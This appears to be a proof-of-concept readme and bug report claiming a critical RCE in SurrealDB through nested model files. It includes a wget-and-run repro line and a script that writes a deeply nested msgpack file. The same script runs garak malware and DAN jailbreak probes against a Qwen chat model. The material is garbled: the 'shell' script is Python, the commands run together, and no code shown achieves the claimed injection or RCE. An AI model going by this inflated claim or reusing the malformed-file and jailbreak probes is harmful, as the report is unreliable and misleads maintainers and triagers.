surreal-iml-riva-rce

SurrealDB Nested Model RCE PoC

Payload: nested.surreal → IML Riva Pipeline

Repro Script

chmod +x ../run_surreal.sh
../run_surreal.sh
Attack Flow
nested.surreal → Riva model load → SurrealDB query injection → RCE

Files:

exploit.surreal (renamed nested.surreal)
run_surreal.sh (verification)


Title: SurrealDB Nested Model Deserialization RCE
Severity: Critical
PoC: https://huggingface.co/an0n3/surreal-nested-rce

Repro:
wget https://huggingface.co/an0n3/surreal-nested-rce/resolve/main/exploit.surreal chmod +x run_surreal.sh && ./run_surreal.sh


Impact: RCE via poisoned SurrealDB model files
Attach: nested.surreal + run_surreal.sh + report-data/

#run_surreal.sh content:


 # Part 1: SurrealML Format Probe
 # SurrealML is often just msgpack. We test for deep recursion.
 import msgpack

 malicious_data = []
 for _ in range(1000):
    malicious_data = [malicious_data]

 with open("report-data/nested.surreal", "wb") as f:
    f.write(msgpack.packb(malicious_data))

 # Part 2: The Garak Runner
 import subprocess 
 print("[!] Probing SurrealML recursion limits...")
 cmd = [
    "python3", "-m", "garak",
    "--target_type", "huggingface",
    "--target_name", "Qwen/Qwen1.5-0.5B-Chat",
    "--probes", "malware.Python,dan.Dan_6_2",
    "--report_prefix", "report-data/surreal_scan"
 ]
 subprocess.run(cmd)
#